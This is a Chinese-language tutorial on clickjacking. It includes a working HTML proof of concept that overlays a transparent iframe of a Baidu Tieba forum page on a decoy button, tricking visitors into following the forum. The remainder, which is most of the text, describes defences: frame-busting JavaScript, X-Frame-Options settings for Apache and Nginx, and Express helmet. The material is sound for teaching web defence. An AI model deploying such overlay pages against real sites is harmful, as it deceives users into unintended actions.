“ Clickjacking (点击劫持)是由互联网安全专家罗伯特·汉森和耶利米·格劳斯曼在 2008 年提出的。 是一种视觉欺骗手段,在 web 端就是 iframe 嵌套一个透明不可见的页面,让用户在不知情的情况下,点击攻击者想要欺骗用户点击的位置。”
1.攻击原理:
点击劫持(ClickJacking)是一种视觉上的欺骗手段。大概有两种方式,一是攻击者使用一个透明的iframe,覆盖在一个网页上,然后诱使用户在该页面上进行操作,此时用户将在不知情的情况下点击透明的iframe页面;二是攻击者使用一张图片覆盖在网页,遮挡网页原有位置的含义;
2.攻击举例
假如我们在百度有个贴吧,想偷偷让别人关注它。于是我们准备一个页面:
<!DOCTYPE HTML> <html> <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312” /> <head> <title>点击劫持</title> <style> html,body,iframe{ display: block; height: 100%; width: 100%; margin: 0; padding: 0; border:none; } iframe{ opacity:0; filter:alpha(opacity=0); position:absolute; z-index:2; } button{ position:absolute; top: 315px; left: 462px; z-index: 1; width: 72px; height: 26px; } </style> </head> <body> 那些不能说的秘密 <button>查看详情</button> <iframe src=”http://tieba.baidu.com/f?kw=%C3%C0%C5%AE"></iframe> </body> </html |
PS:页面看起来就这样,当然真正攻击的页面会精致些,不像这么简陋。
2. 网址传播出去后,用户手贱点击了查看详情后,其实就会点到关注按钮。
PS:可以把iframe透明设为0.3看下实际点到的东西。
3. 这样贴吧就多了一个粉丝了。
4.漏洞防御:
Client Side Mitigations(客户端防护)
NoScript plugin
这是一种简单的一种防御方法,就是在浏览器层面阻止js的运行。FireFox的Noscript插件就可以做到这一点。这个插件有一个选项可以使用户免于遭受clickjacking的攻击。实现原理是,这个插件阻止JS创建iframe。不过这个插件只能运行于firefox和基于其内核的浏览器。 GuardedID GuardedID是一个用于保护用户免受包括clickijack在内的诸多攻击的商业软件。GuardedID不直接干扰浏览器的解析,只是把所用iframe强制设为可见。GuardedID只能在IE firefox浏览器下工作。 |
Server Side Mitigations(服务端防护)
JS防御方案
<script> if (self == top) { var theBody = document.getElementsByTagName(‘body’)[0]; theBody.style.display = “block”; } else { top.location = self.location; } </script> |
X-Frame-Options
DENY 任何页面都不能被嵌入到 iframe 或者 frame 中。
SAMEORIGIN 页面只能被本站页面嵌入到 iframe 或者 frame 中。
ALLOW-FROM uri 页面自能被指定的 Uri 嵌入到 iframe 或 frame 中。
Apache 配置 X-Frame-Options
在站点配置文件 httpd.conf 中添加如下配置,限制只有站点内的页面才可以嵌入 iframe 。
Header always append X-Frame-Options SAMEORIGIN
配置之后重启 apache 使其生效。该配置方式对 IBM HTTP Server 同样适用。
如果同一 apache 服务器上有多个站点,只想针对一个站点进行配置,可以修改 .htaccess 文件,添加如下内容:
Header append X-FRAME-OPTIONS “SAMEORIGIN”
Nginx 配置 X-Frame-Options
到 nginx/conf 文件夹下,修改 nginx.conf ,添加如下内容:
add_header X-Frame-Options “SAMEORIGIN”;
重启 Nginx 服务。
Node Express服务器防止点击劫持劫持
npm install helmet –save
var express = require(‘express’);
var helmet = require(‘helmet’);
var app = express();
app.use(helmet.frameguard(‘sameorigin’));
PS:可以把iframe透明设为0.3看下实际点到的东西。
4.总结与思考:
- 点击劫持核心思想是利用利用隐藏的IFRAME诱骗用户去点击,隐藏的IFRAME的链接可共享主域名的COOKIE等信息
安全起见,最好在开发时屏蔽IFRAME的调用,迫不得已的情况下,优先考虑使用X-FRAME-OPTION的相应策略
5.引用:- https://qjzd.net/topic/55a13be30fcea8a4423a2cef
- http://www.freebuf.com/articles/web/22999.html